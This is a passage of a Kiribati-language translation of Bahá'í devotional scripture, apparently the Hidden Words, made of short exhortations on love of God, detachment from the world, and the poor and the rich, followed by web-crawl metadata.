ae tabu are e nang aki kaoti kamiimi aika a nano ao ane kam na mwaawa man te anene ni karawa ao te bwanaa mai i eta.\nO NGKOE OIN TE AKI TATABEAKIN\nKakaokoron mwaitin taian taetae n neewe a kunea te taetae n teuana te taetaenikawai, ao kakaokoron mwaitin kanoan kamiimi aika a raba a kaotaki n te anene teuana; ma e ngae n anne, bon akea te taninga are e na ongo, te nano are e na ataia.\nO NGKAMI RAAO!\nMataroa ake a uki n te Tabo-ae-akea a tei iai n rababa ao ana tabo ni maeka temanna are e tangiraki e a katamaroaaki ma raraan ana tangira, ma ti tabeman ake a tiku ni kamwawaaki man te kaawa ni karawa aei, ao mai buakoia aika ti tabeman aikai, akea ma e karako ake a kuneaki bwa a kororaoi nanoia ao a kamimitongaki tamneia.\nO NGKAMI TAAN MAEKA N TE KABANEA N RIETAATA NI BWARETAITI!\nKatanoata nakoia natin nako te onimaki ni kakoauaa bwa i nanon abanuea aika a tabu, ni kaan nakon te bwaretaiti ni karawa, e a tia ni kaoti te onaroka ae e boou, are a otabwaniniia taan maeka n te abanuea are e rietaata ma taan maeka aika tamnei n te bwaretaiti ae kakannato. Kataia, ngkanne, bwa kam aonga ni karekea te karinan, bwa kam aonga ni kauki kamimiin nako te tangira man ueena ae te ang ao n atai karaban nako te tamnei ae tabu ao ni karekei niniwana man uaana aika akea tokiia. A kukurei n rauaki mataia naake a rin ao ni maeka i nanona.\nO NGKAMI RAAO!\nKam a tia ni mwanuokia te ingaabong are e koaua ao n oota, ngke kam bane ni botaki ma Ngai n te otabwanin are e tabu ma ni kakabwaiaaki i aan nuun kain te maiu, are e unikaki n te baretaiti are te kabanea ni mimitong? N rotakimi n te mwaaka ngke kam kakauongo ngke I anga au taetae i aon taeka aika tenua aika moan te tabu: Tai tabeakina nanom nakon are Nanou, tai tangira te baere I aki tangiria i bukim, ao tai kawarai ma te nano ae akea te maiu iai, ae kabarekaaki ma tangiran te aonaaba ma kamaeuna nako. Kam na konaa ni kamimitongi tamneimi, kam na karaoia n te aoa naba aei ao n uringa te tabo ao te otabwanin, ao koauan Au taeka e na bon kakoauaaki iroumi ni kabane.\nO NGKAMI AIKA KAM WENE N ARON TE MATE I AON KAINIWENEN TE AKI TATABEAKIN!\nA waaki nako rooro ao maiumi aika a kakaawaki a roko n tokiia, ma bon akea teuana te ikeike ae kororaoi are e a tia n roota Ana bootaki ae tabu mairoumi. E ngae ngke kam tebo ni marawan te aki onimaki, e ngae ngke ma riami kam kakoaua te Aro teuana ae Ana Aro Te Atua. Teuare ngaia are I ribaia kam a tia n tangiria, ao Au kairiribai bwa raraomi, kam nakonako i aon Au aonaaba n aki nanamakin ao n rauaki n aki tatabeakin n te aro are Au aonaaba e a kua iroumi ao bwaai ni kabane ake i nanona a tangiri mwaawami. Bwa ngke arona bwa kam kauki matami, n te koaua kam na bon, tangiri rawawata aika a mwaiti aekaia n te kimwareirei aei, ao ni wareka te mate bwa e raoiroi riki nakon te maiu aei.\nO NGKOE KAKAMWAKURIN TE BUBUNTANO!\nI tangiria n itoman ma ngkoe, ma ko aki katuka te onimakinaki Irou. E a tia kabaangin rawam ni kabwakaa kain am kaantaninga. I bon kaan i rarikim n taai nako, ma ko bon raroa nako Mairou. I rinea te mimitong i bukim ae e aki konaa ni mauna, e ngae n anne ko a bon tia n rinea te nuka ae akea tiana. Ma ngkai bon e bon reke te tai n oki, ooki, ao tai kabuaa am tai.\nO NATIN TE KAINNANOA!\nTaan ataibwai ao taan niniwana a bon tia i nanon ririki aika maan a bon aki konaa ni karekea kaanian te kabanea ni Mimitong; a bon aki konaa n noora tamaroan Moana. Bon akea am kekeiaki ni karekea am kouru, ao akea am ukeuke are e na reke iai are ko ukoukoria. Ma e ngae n anne, ko bon tiku n rabunaki n rabunanimatan aromi bwa matam e aki noora tamaroan Teuare E tangiraki, ke baim bwa e na riinga rabin Ana kamwarai. Ma e ngae n anne ake iai mataia, a nooria ao a miimi.\nO NGKAMI TAAN MAEKA NI KAAWAN TE TANGIRA!\nRebwen bwaai n rabwata ake a katea te taura te nenea ae akea tokina, ao tamaroan te Kairake ni karawa e rabunaki n rotongitongin te bubuntano. E a kaikuakaki mataniwiin uean te tangira irouia aomatan te tua-buaka ao e a wene ni kabureaki te taobe ae tabu ni ukin waeia aoere (owls). A tang ma n tanginiwenei taan maeka ni umwan te mimitong ao kaain te runga ni karawa, ao ngkoe ko wene n rau n aonaaban te aki tatabeakin, ao n iangoi ngkami bwa raao ni koaua. Ai akeara nanon ami iango ni katautau akanne!\nO NGKAMI AIKA KAM NANOBABA, E NGAE NGKE IAI TE ARA IROUMI NI KONA N NINIWANA!\nBukin tera kam bwain bwaiia taan kaawakin tiibu, ma i nanomi kam a tia n riki bwa kameanti, n nano irouia Au nanai? Ngkami ai aroia itoi, ake a karikirakea te karangaina, ao are, e ngae ngke e taraa n oota ma n raneanea, e kairiiri ni kabuaa kawain te tia mwananga man Au kaawa ao n roko ni kawain nako te urubekebeke.\nO NGKAMI AIKA TARA N TAMAROA MA NANOMI A BON BAAREKA!\nNgkami bon ai aron te ran ae e itiaki taraana ma e bon kamangiingi, are n aron taraakina bon te kurititaro ae e itiaki, ma ngkana e kataaki n te Bwai n tutuo n tamnei, bon akea timmna ae kariaiakaki. Eng, e bakarere ootan taai i aon te bubuntano ao te tirotaam, e ngae ngke e kakaokoro raweana irouia n aron naba te itoi ma te aonaaba: ma bon tiaki, e aki konaa ni baaireaki te kaokoro.\nO NGKOE TE RAO N TE TAEKA!\nIango ni karaurau moa. Ko a tia n ongoongo ae te rao ao te kairiribai a riai ni maeka n teuana te nano? Kaotinakoa te ianena, bwa e aonga te Rao n rin ni Mweengana.\nO NGKOE NATIN TE BUBUTANO!\nI a tia ni kataui i bukimi bwaai ni kabane ake i karawa ao n te aonaaba, ma ti te nano n aomata, are I a tia ni karikia bwa ana tabo ni maeka Tamaroau ma Mimitongiu; e ngae n anne ao ko a bon tia n anga Mweengau ma Au tabo nakon temanna i Rarikiu; ao ngkana e a ukoukora Ana tabo ni kaotiota Taburorokou, e kunea te ianena iai, ao, ai aakea Mweengana, e waekoa n nako nakon Ana Tabo Teuare E tangiraki. E ngae n anne I karabai am karaba ao I aki tabeakina mamaam.\nO NGKOE OIN TE KAINNANOAKI!\nE mwaiti te karangaina are I a tia n rairaki man abanuean te Tabo ae akea nakon am tabo, ao ni kuneko i aon ngaom ni mwengaraoi ni katabeko ma tabeman riki i Rarikiu. Ngaia are, n aron birin te tamnei, I oki nakon abanuean nako te mimitong ni karawa ao akea te bwai ae I ikenna n Au tabo are i eta nakoia kaaina aika a tabu.\nNATIN TE ATATAIAOMATA O!\nMan rereuan te aakea, ao ma tanon Au kaetieti are I karaoiko n oti, ao I a tia ni kataua i bukin kataneiaakim n taian 'atom' aika a maiu ao oioin bwaai ni kabane ake a karikaki. Ngaia are, ko a tia n riki iai man biroton tinam, I kataua i bukim uoua boton te miriki ae raitiiti, maata bwa a na tantaniiko ao naano bwa a na tangiriko. Man Au tangira n aakoi, i aan nuun Au nanoanga are I kaikawaiko, ao ni kaawakiniko n oioin Au raoiroi ao Au mwannano. Ao bukin karaoan aei Irou bwa ko aonga ni karekea Au tautaeka ae akea tokina ao ko na riki n tau ni koaua i bukin Au bwaintuaraoi aika a aki nooraki. Ao ko bon teimatoa n tiku n aki tatabeakin, ao ngke ko a ikawai raoi, ko a kaaki taekan Au kakabwaia ni kabane ao ko a katabeko ma iango ni katautau aika akea nanoia, ao n te aro anne are ko a mwamwaninga nako, ao, n rairaki nako man Ana mataroa nakon te Rao are e mamaeka i nanon ana botaki nako Au kairiribai.\nO NGKAMI BOTAKIIA ANA TORO TE AONAA\nE mwaiti te ingaabong are e kareiko angin Au tangira-n-aakoi ao ni kuneko i aon ngaon te aki tatabeakin ni matuu nako. Katanga ngkanne kibam n okira te tabo are e roko mai iai.\nNATIN TE AONAABA O!\nNgkana ko Rineai, tai ukoukora temanna riki i Rarikiu, ao ngkana ko taraa Tamaroau, kaina matam nakon te aonaaba ao bwaai ake iai; bwa are I nano iai ao are e nano iai temanna i Rarikiu, n ai aron te ai ao te ran, a aki konaa ni maeka i nanon teuana te nano.\nTE RAO AE TE IANENA O!\nE a kauraaki tauranenean nanom ni bain Mwaakau, tai tiringnga n angim ao angin te baere ko tangiria. Te tia katokii aoraki nako bon Uringau, tai mwanuokinna. Karika Au tangira bwa am kaubwai, ao nabenabeia n aron ae bon am taratara nako ao maium.\nO NGKAMI AIKA TARIU!\nOngora ni kakukurein taeka aika man Neweu ae karewe, ao mooi ni karaangan te taburoroko ni karawa man Riau ae nen te karewe. Uniki koraan nako Au niniwana ni karawa ae tabu n tanon nanom ae kororaoi, ao tebokii n ranin te koaua ni koaua, bwa e aonga te atinta n Rabakau ma n Niniwanau a rikirake ni mangurooro ma ni kiriin ni kaawan nanom ae e tabu.\nO NGKAMI TAAN MAEKA N TE BWARETAITI!\nMa tabonibain te tangira n aakoi I unika kain ami tangira ma te itamwaomwao i nanon onarokan te bwaretaiti, ao n tebokii ma karaun te raoiroi man Au raoiroi ae tamaroa; ao ngkai e a roko auan taina ni uaa, mwakuriia bwa e na kamanoaki, ma n aki kamaunaaki ni uran te tinanikubeka ao te kaibwabwaru.\nO NGKAMI RAOU!\nTiringa tauran te kaairua, ao kauraa i nanomi te oi ae akea tokina ae bwain te kairiiri ni karawa ae tabu. Bwa n te tai ae e aki maan, i matan ae tabu are E tangiraki, taan babaairea te botannaomata a na bon akea te bwai ae a na kariaia ma ti kororaoin aroaro ao mwakuri aika a tabu aika akea baarekaia.\nO NGKOE NATIN TE BUBUNTANO!\nTaan wanawana bon naake a aki taetae ma ti ngkana a karekea te kakauongo, n ai aron te tia uota te mwangko, are e aki kainnanoa te mwangko ni karokoa e kunea are e ukoukoraki, ao te tia tangira are e aki tang mai kabin nanona ni karokoa e a taraa tamaroan are e tangiria. Ngaia are uniki koraan te niniwana ma te ataibwai ni kororaoin tanon te nano, ao ni karabai ni kaawakin, ni karokoa te atinta n niniwana ni karawa ae e tabu e bwebwerake man te nano ma tiaki man te bokaboka ao te tano.\nO NGKOE AU TORO!\nTai kaaki i bukina bwa e na kamaunaa te tautaeka ae akea tokina, ao tai kaaki te tautaeka ni karawa i bukin tangiran te aonaaba. Bon aio karaangan te maiu ae akea tokina are e wawaanako man koburaken ranin kainikorobokin te nanoanga; ai bon irouia ngkanne ake a mooi!\nO NGKOE NATIN TE TAMNEI!\nKaukaa nako nanam, n ai aron te binikiti n tangira ae tabeibeti ni karawa are e tabu. Kaaki taekam, ao kaonaki ma tamnein te nanoanga, maeka n abanuean ni karawa are e tabu.\nO NGKAMI KANOAN NAKO TE BUBUNTANO!\nTai rauaki ma kamaiuraoin te bong ae e waaki nako, tai kamwaawako man te motirawa ae akea tokina. Tai anga nako kakukurein te onaroka ae akea tokina i bukin bwariko ni bubuntanon te aonaaba n rabwata aei. Teirake man am karabuuti ao rierake nakon te tawaana ae e mimitong i eta, ao man nanan rabwatam karaoa kibam nakon bwaretaitin te tabo ae akea rabwatana.\nO NGKOE AU TORO!\nKamwaawako man kabaebaen nako te aonaaba aei, ao kamwaawa tamneim man am karabuuti. Karekea am tai, bwa e aki manga roko riki iroum.\nO NGKOE TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nKo noora te tautaeka ae akea rabwatana, ko na bon waaki nako man te aonaaba ae tabeibeti aei. Ma ni karabaa teuana mairoum ao ni kaota are teuana ai bon te bwai ae raba are bon akea ae e konaa n iangoia ma ti te nano.\nO NGKOE AU TORO!\nKainaomatai nanomi man te tabare, ao, aki ataan te iowaawa, riin n te bootaki ae tabu.\nO NGKAMI RAOU!\nNakonako ni kamaeun kawain nako te Rao, ao ataia bwa are E tangiria bon ake a tangiria Ana karikibwai. Ni kaangai: akea te aomata ae e na rin n ana auti raraona ma ti ngkana e kariaia raraona, ke n anai ana bwai ke ni karaoa are e tangiria nakon ana bwai raoraona, ao n akea te kawai are e na ukoukoria are e tekeraoi iai i aon are raoraona. Karaurau n iangoa aei, ngkoe ae ko taratarannano.\nO NGKAMI KAKAIN AU KAINTOKANUEA!\nTai ongo te buaakaka, ao tai noora te buaakaka, tai kamangoriko, ke n tang ao n tanginiwenei. Tai taekina te buaakaka, bwa ko aonga n rawa n ongo n taekinaki nakoimi, ao tai taekina aia kaairua tabeman bwa aonga n aki oti am kaairua ni korakora; tai tangira kamangoraia tabeman, bwa e na aki kaotaki iai mangorim. Maiun ngkanne bongin maium, ake a karako riki nakon waanakon te tai, ma am iango ae e aki baareka, nanom ae e aki kamemeaaki, am ururing, ae e kororaoi, ao rikiam e katabuaki, bwa aonga ni kainaomataaki ao n rauaki, bwa ko aonga ni kaaki te nana n rabwata aei, ao onoiko nakon te bwaretaiti n tamnei ao ni maeka nakon tokina n te abanuea.\nAI KANANOKAAWAKIRA! AI KANANOKAAWAKIRA! O NGKAMI AIKA KAM TANGIRI KAKUKUREIN TE AONAABA!\nKam a tia n rirarikin Teuare E tangiraki n aron butin te iti, ao n tia ni katokai nanomi n ana bwai taatan. Kam katorobubua i matan ami iango ni katautau, ao n atoatonga koauana. Kam rairi matami nakon te kateketeke, ao n aranna bwa te ue. Kam a tia n aki ikeikena te ikeike ae kororaoi, ke e a tia ni kare angin te kamwawaaki man tawaanan nanomi. Kam a tia ni karenako nakon te ang Ana reirei n tangira Teuare E tangiraki ao n tia ni kaakeai n ami taetae man buatuan nanomi, ao ai aroia naba manin nako te marae, kam mwananga ao a mena maiumi i nanon tawaanan te tinanikubeka ao te kaibwabwaru.\nO NGKAMI RAAO I NANON TE KAWAI!\nE aera ngkai kam aki tabeakina taekinan Teuare E tangiraki, ao ni kararoai ngkami ma Kaanna are Tabu? Oin raoi te tamaroa bon i nanon te umwa ae akea n ai arona, are e kamenaaki ni kaintokanuean te mimitong, ngkai kam katabei ngkami ma katautau aika akea nanoia….\nO NGKAMI AIKA A TANGIRI KAKUKUREI N RABWATA!\nBuuta kamwarain te aki mimitong, ao koroi ngkami man kunikain te kamoamoa.\nO NGKAMI TAARI!\nTaotaon nanomi ma aomata ao tai tangiri bwaai ake i nano. Tai kamoamoai ngkami n mimitongimi, ao tai maama n te karinanoaki. N Tamaroau! I a tia ni kariki bwaai ni kabane man te bubuntano, ao I a manga kaoki nakon te bubuntano.\nO NGKAMI NATIN TE BUBUNTANO!\nTuangiia kaubwai tangitangiia kainnano n te nukanibong, bwa e kaawa rawaia n ongo bwa kairaia nakon kawain te urubekebeke ao ni kamwawaaia man Kain te Kaubwai. N angaanga ao ni moamoaomata bon akanne Aroarou; ai i bon iroun are e kan katamaroaaki ma Aroarou aika a raraoi.\nO NGKAMI AIKA OIN RAOI TAIAN TINANIKUBEKA!\nKatinanikui ni kabane aeka nako ni tinanikubea ao ukoukora te rauaki ni koaua; bwa te tinanikubeka bon te tekebuaka, ao e rangi n tangiraki ma n neboaki te rauaki.\nO TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nTai rootaki n te kainnano ke n onimaki n te kaubwai bwa te kainnano e bon ruamwiiaki n te kaubwai, ao te kaubwai e ruamwiiaki n te kainnano. E ngae ngke ti kainnano ni bwaai nako ma ti Te Atua ae te bwaintangira ae e kamiimi, tai kauarerekea iangoakin, bwa n tokina e na karikiko ni kaubwai iroun Te Atua, ao ngkanne ko na bon ataa nanon te taetae aei, \"Ni koaua kam bon kainnano,\" ao te taeka ae tabu, \"Te Atua bon te Tia Bwaibwai ni Bwaai ni kabane,\" n ai aron te ingaabong ni koaua e ingirake ni mimitong raneaneana i aon oraitanin nanon te tia tangira, ao n tiku n rau ni kaintokan te kaubwai.\nO NGKAMI NATIN TE AKI TATABEAKIN MA TE KAIBWABWARU!\nKam a tia ni karawawata Au kairiribai ngke e rin n Au auti ao kam a tia ni kanakoa Raou, ngkai kam a tia ni bangota i nanomi tangiran temanna riki i Rarikiu. Anga taningami nakon taeka te Rao ao n rairaki nakon Ana bwaretaiti. Raao aika iraorao n te aonaaba, a bon ukoukora te tamaroaia bon i bukiia, a oti n tangiriia i bon irouia, ma te Rao ni koaua iai irouna te tangira are e tangiringkami bon i bukimi; ni koaua e a bon tia i bukin kairirakimi n taonaki ni karawawata aika a aki kona ni warekaki. Kam na riai n aki kakaonimaki nakon te Rao anne, ma kam na kawaekoaingkami Nakoina. Anne bon aekan itoi-ngainan taekan te koaua ao te kakaonimaki, are e a tia n ingi n oti i aon oraitanin Ana kainikoroboki Ueaia aara nako. Kauki taningami bwa kam aonga n ongo ao ni kawaekoaingkami nakon Ana taeka Te Atua, te Buoka n te Kanganga, te Maiu i bon Irouna.\nO NGKAMI AIKA KAM KAMOAMOAI NGKAMI I AON KAUBWAI N RABWATA!\nAtaia bwa te koaua bwa te kaubwai bon te o ae korakora i marenan te tia ukeuke ao are e kainnanoia, te tia tangira ao are e tangiria. Te kaubwai, ma i bukiia tabeman, e na bon aki karekea rokona n botakin Kaniana ke n rin ni kaawan te rauaki ao te tiku raoi. Ma ai nakon ngkanne teuanne, are e kaubwai, e na aki tuukaki kaubwaina man te abanuea ae akea tokina, ke ni kamwawaaki irouia man te tautaeka ae e aki kona ni mauna. Iroun te Ara are Kabanean te Kakannato! Ana oota te aeka n aomata ane e kaubwai anne e na kaotaiia naake a maeka i karawa n aron taai ae e kaotaiia aomata i aon te aonaaba!\nO NGKAMI KAUBWAI AIKA I AON TE AONAABA!\nKainnano akana i buakomi bon Au taan mwiokoaki, ao tai ti katabei ngkami ma oin aromi.\nO NATIN TE KAIBWABWARU!\nKaitiakiko man barekarekan nako te kaubwai ao ni kororaoin te raoi waaki nakon aonaaban te kainnano, bwa man Koburakenranin te kamwawaaki mooi ni wainin te maiu n tamnei.\nO NGKOE NATIU!\nAia botaki naake akea te raoiroi irouia a karikirakea te nanokaawaki, ma te itamwaomwao ma naake a etieti a kaitiaka te mka man te nano. Are e a tia ni ukoukora te itoman ma Te Atua, ke e itamwaomwao ma naake a tangiraki Irouna; ao are e tangiria n ongo n Ana taeka Te Atua, ke e anga taningana nakon aia taeka naake E rineiia.\nO NATIN TE BUBUNTANO!\nTarataraiko! Tai nakonako ma are a aki raoiroi ao tai ukoukora te itamwaomwao ma ngaia, bwa te iraorao ma ngaia e raira raneanean ootan te nano nakon te ai ae korakora.\nO TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nNgkana ko ukoura raoiroin te Tamnei ae Raoiroi, riin n itamwaomwao ma ake a etieti, bwa are e a tia ni mooi ni mwangkon te maiu ae akea tokina mai bain Teuare E uota te mwangko n tamnei anne ao n ai aron te ingaabong ae koaua are e kamaiui ao e kaootai nanoia ake a tia ni mate.\nO NGKAMI AIKA KAM AKI TATABEAKIN!\nTai iangoia bwa karaban nako te nano a wene n raba, ma, kam na ataia bwa bon anua ni maiu aika a mataata ake a kaaraki ni koreaki ao a bon kaotaki raoi n oti n te tabo ae tabu are E mena iai.\nO NGKAMI RAAO!\nNi koaua I taku, bwa baike kam karabai i nanomi a bon uki ao n nooraki Iroura n aron te ngaina; ma are e raba bon Ara raoiroi ao te kabwaia, ao e na aki tau iroumi.\nO NGKOE NATIN TE AOMATA!\nTe timna man marawan te nanoanga ae akea kabina are I a tia n tibwaia nakoia aomatan nako te aonaaba, ma e ngae n anne akea ake a kuneaki bwa a rairaki nako iai, n arona naba bwa ni kabane ake a tia n rairaki nako man te karawan wainin te katiteuana nakon maeran te aki kororaoi, ao, n rauaki ma te mwangko n tamnei, ma a tia ni kaaki tamaroan te mwangko n tamnei. E bon rabunaki n te rabuna ni mata are e nano iai.\nO NATIN TE BUBUNTANO!\nTai rairi nako matami man Ana wain ae akea kabotauana Teuare E tangiraki ae te tamnei, ao tai kauki nakon baarekan te rabwata ma betina nako. Anaia mai bain te Tia uota kanuwangan te maiu n tamnei, bwa kam aonga ni bwain niniwana nako, ao kam aonga n ongo te bwanaa n tamnei are e weewete man te abanuea ae e aki nooraki. Takaarua, ngkami aika a rinano ami kaantaninga! Bukin teraa kam rairaki nako man Au wain n tamnei ae e tabu nakon te ran ae e kai toki taina?\nO AOMTAN TE AONAABA!\nAtaia, ni koaua bwa te kabuanibwai ae korakora ae e aki kaantaningaaki e bon iririko, ao karawawatan te kabomwi e tataningaiko. Tai iangoia bwa te mwakuri are kam a tia ni karaoia e a tia ni kamaunaaki mai Matau. N Tamaroau! Ni kabane ami mwakuri a bon tia ni koreaki n Au kainikoroboki i aon buatuan te kuritiroraite.\nO NGKAMI TAAN IOWAAWA N TE AONAABA!\nKaaki baimi man te tua buaka, bwa I a tia n taekinna bwa Nna aki kabwara ana aki motiraoi te aomata. Bon aio au boraraoi are I a tia ni koreia ao ni kamatoa ma Au kanikina ae mimitong.\nO NGKAMI AIKA TAAN RAWA!\nE a tia Au taotaonakinnano ni kakaungako riki ao maanin Au tai ni karawawataaki e a tia ni karikiko n aki tabe riki iai, n te aro are ko a tia ni kaunga riki kakorakoraan karawawata ni kawai aika a kanganga ake a kairiiri nakon te urubekebeke. Ko a tia n iaiangoia ae Ngai I aki tatabeakin ke I aki ataa taekana?\nO NGKAMI TAAN ROKO NI MAEKA!\nTe newe are I a tia ni kataua i bukin Tataekinau, tai kabuakaka ma te mwakuri buaka. Ngkana e a taoniko ain arom, uring oin am kaairua ma tiaki aia kaairua Au karikibwai, n aron ae ko bon ata riki aron taekam nakon aron taekaia ake tabeman.\nO NGKAMI NATIN TE KATAUTAU!\nAtaia ni koaua, bwa ngkai e tabe n tabwena nako ootan te ingaabong i aon oraitanin te taburoroko ae akea tokina, ana karaba nako n taatan ao mwakuri ake a karaoaki n roon te tairiki a nang bane n oti raoi ma ni kaotaki i mataia aomatan te aonaaba.\nO NGKOE TE TITANIA ARE E TEBERAKE MAN TE BUBUNTANO!\nBukin tera tabonibaimi aika a baareka aikai a aki riinga moa oin ami kamwarai, ao bukin tera nanom ae baareka n tangiran te tinanikuba ma te kaibwabwaru e ukoukora te kan itoman ma Ngai ao n rin n Au abanuea ae tabu? Kam bon rangi n raroa, ma n raroa nako ma are kam tangiria.\nO NGKAMI NATIN ATAM!\nTaeka aika a tabu ao mwakuri aika a itiaki ma n tamaroa ake a rierake nakon karawan te mimitong. Keiakinna bwa e aonga ni kaitiakaki ami mwakuri man bubuntanom ao kaibwabwarum ao ni kunea te katauaki ni botakin te mimitong, bwa n te tai ae e aki maan te botannaomata nako, i matan Teuare E tangiraki, a na bon akea riki te bwai ae a na karekea ma ti aroaro aika a tabu ao mwakuri aika a itiakiroaroa. Bon aio itoin-ngainan te niniwana ao te kamiimi n tamnei are e a tia ni kaotaki i aon oraitanin te kaantaninga n tamnei. A kakabwaiaaki ake a rairaki nako iai.\nO NGKAMI NATIN TE IANGO N AONAABA!\nE tamaroa te abanuea ni maiu, karekea rokomi iai; te mimitong bon tautaekan te aki tootoki, ngkana ko a riaon te aonaaba n rabwata, e karewerewe te kimwareirei ae tabu ngkana ko mooi n te kanuwanga n tamnei man bain te Kairake ni karawa. Ngkana ko karekea te karinan aei, ko na bon kainaomata man ana te urubekebeke ao te mate, man te mwakuri ao te bure.\nO NGKAMI RAOU!\nKauringnga n ami iango te boraraoi are kam rin iai ma Ngai i aon Maungan Paran, are mena n te tabo ae tabu i Zaman. I a tia ni kakoaua nakoia kaain te runga ni karawa ao taan maeka ni kaawan te aki tootoki, ma e ngae n anne bon akea ae I kunea ae kakaonimaki nakon te boraraoi. I bukin te kamoamoa ao te nano n rawa are e a kamaunaaki mai nanoia, ao n aron anne are akea mwiin are e tiku iai. Ma n ataakin aei, I tataninga ao I aikoa kaotia.\nO NGKOE AU TORO!\nTi tabo ngkoe ma te kabaang are e karaoaki raoi are e raba i nanon roon bwautina ao e raba mwaitin boona man ana atatai te tia karaoia. Ngaia are otinako man bwautim are e tangiria nanom bwa e aonga riki uaam n oota ao ni kaotaki nakon te aonaaba ni kabane.\nO NGKAMI RAOU!\nBon ngkoe itoin-ngainan karawan nako Taburorokou, ao tai kataua baarekan te aonaaba bwa e na tuuka ootam. Taeaa nako rabunanimatan te aki tatabeakin, bwa ko aonga mai akuun te nang n oti n oota ao ni babaairei bwaai nako ma kunikain te maiu.\nO NGKAMI NATIN TE MIMITONG AE AKEA NANONA!\nN te tautaeka ae uarereke taina are kam a tia iai ni kaaki Au tautaeka ae akea tokina, ao kam a tia ni katamaroai ngkami ma kakukurein nako te aonaaba ao ni karikia bwa kan tiroakimi. N Tamaroau! Ni kabane ake a na bane ni botaki i aan ti tematana te rabuna ni bubuantano ao ni kamaunai kakaokoron matamata aikai nakon teuana are Nna bon rineia, are e na roko man maata nako.\nO NGKAMI NATIN TE AKI TATABEAKIN!\nTai karekea tangiran te tautaeka n rabwata ao ko na aki kukurei iai. Ngkami ai aron te mannikiba ae e aki ataibwai are e anene i aon te mwaanga; n te tai ae waekoa e a roko naba te mate irouna ao e bwaka i aon te tano, te anene, rabwatana ao matan kunna a mauna nako, n ai akea mwiina. Ngaia are tarataraingkami, ngkami aika kam tangiri oin nanomi.\nO TE NATI TE MWANE AE NATIN AU TABONIBAI TE AINE!\nE a tia ni karorokoaki te kairiiri n te taetae, ao ngkai e a karokoaki n taian mwakuri. Ni kabane a riai ni kaotinakoi aia mwakuri aika a itiaki ma n tabu, bwa taeka bon ti tabo anuaia, ma aeka ni mwakuri aikai bon Ana bwai Teuare E tangiraki iroura. Keiakinna ma te nano ao te tamnei ni kaokoroi ngkami n ami mwakuri. N te kawai aei Ti a tuangkami n te tabureti ae tabu ma n oota aei.\nO NATIN TE MOTIRAOI\nN tain te tairiki are e a tia iai te Maiu ae akea rabwatana ni karaoaki te onobwai man rietaatan kiriiinin te onimaki are iroun Sadratu'l-Muntaha, ao n tang ma te aeka n tanginiwenei are te runga ni karawa ao taan maeka n abanuea ake i eta a rootaki n ira Tangina. Ao ikanne are a titiraki, Bukin tera te tang ma te tanginiwenei? E kaeka: N taekana I tataninga te kariaria man maungan te kakaonimaki, ma I aki ikenna mairouia ake a maeka i aon te aonaaba boiararan te onimaki. Ngkanne I a weteaki n oki I a noora, ao nooria, tabeua taoben te katabuaki ake a reke ni ukin waeia kamean te aonaaba. Ao ikanne are ainen karawa e a kawaekoaa ao e aikoa rabuna ubuna ao e a oota man Ana bwareti n tamnei, ao e titiraki araia, ao a bane ni kaotaki ma ti temanna are e aki. Ao ngke e tuangaki, te moa ni manin taeka ake e taekinaki, are iai a biri n roko man aia tabo ni maeka aika mimitong taan maeka n te auti ni karawa. Ao ngke e a taekinaki te kauoua ni man ni koroboki a bwaka nako aontano, ngaiia ni kabane, ao a ongo te bwanaa mai i nanon te bangota: \"E a toki ikai ao akea riki te waaki nako riki.\" Ti kaotia ni kakoauaa are a tia ni karaoia ao ae a tabe ni karaoia ngkai.\nO TE NATI TE MWAANE AE NATIN AU TABONIBAI TE AINE!\nMooi man newen te nanoanga n waanakon kamiimi n tamnei, ao nooria man bongin rikiraken rongorongo n tamnei n taekan te oota are e aikoa rabunaki n ootan itongin-ngainan te niniwana. Uniki koraan Au niniwana n tamnei n te tano ae e kororaoi, ao teteboki n ranin nako te koaua ni koaua, bwa e aonga atintan te rabakau ma te niniwana n teberake ni boou-reirei ao ni kiriin man kaawan te nano ae tabu.\nO NATIN AE KAINNANOA\nA na maanra riki am tai ni kiba n abanuean nako tangiran te aonaaba? Ko a tia n anganaki baim ni kiba, bwa ko aonga ni kiba n abanuean nako te taburoroko n tamnei ma tiaki i aon mwakoron katautau nako n taatan. Te koom, naba, are I a tia n anganiko bwa ko aonga ni karaoa bibiran Irau, ao tiaki i bukin kakiian Roroau.\nO NGKOE AU TORO!\nNgkami kain Au onaroka, kam riai kaotinakoi uaa aika tamaroa ma n tikaua, bwa kam aonga ngkami ao ake tabeman ni mauto mai iai. Ngaia are bon te tabe iroumi ni kabane bwa a na iai ami mwakuri ao te nakoa, bwa e wene iai karaban te kaubwai. O ngkami aomatan te atatai! Bwa kanoan mwiina e bon katan i aon aanga nako, ao Ana raoiroi Te Atua e na bon nakoraoi nakoimi. Kaai ake aki kanoabo a bon kaman tau i bukin te ai.\nO NGKOE AU TORO!\nAomata ake a kabua karineaia bon naake akea uaan maiuia n te aonaaba n rabwata. Aeka n aomata akanne are a riai ni warekaki i buakoia ake a mate, ma a raoiroi riki ake a mate i matan Te Atua nakoia aomata ake a taningaroti ao akea uaaia.\nO NGKOE AU TORO!\nMoaia aomata bon naake a karekea maiuraoia n aia karekemwane n aia wewete ao a kabanea i bon i bukiia ao i aoia aia utu i bukin Ana tangira Te Atua, Uean aonaaba ni kabane. Te anene ao te Tia Iein te aine ae koro tamaroana aei, ae raba i aan ana rabunanimata te taetae, e a tia ngkai, n Ana raoiroi Te Atua ao Ana kariaia n tamnei, e a tia ni kaotaki n ai aron te oota ae raneanea are e oota nako n tamaroan Teuare E tangiraki. I kaotia ma te koaua, O ngkami raao, bwa te mwakuri n aakoi e a tabwanin raoi, e a koro bukin te kauntaeka, e a kaotaki raoi te kakoaua ma ni kateaki raoi rongorongona nako. E na nooraki ngkai bwa tera ami keiaki i nanon kawain te kamwawaaki are e na kaotaki, N te kawai aei are te mwakuri n aakoi n tamnei e na bwain tangiraki nakoimi ao nakoia ake i karawa ao iaon te aonaaba. Te nebonebo ni kabane nakon te Atua, Uean Aonaaba ni kabane.","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/bahaiprayers.net\/HiddenWords\/Kiribati\/54","date":"2019-07-18T22:27:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195525829.33\/warc\/CC-MAIN-20190718211312-20190718233312-00081.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 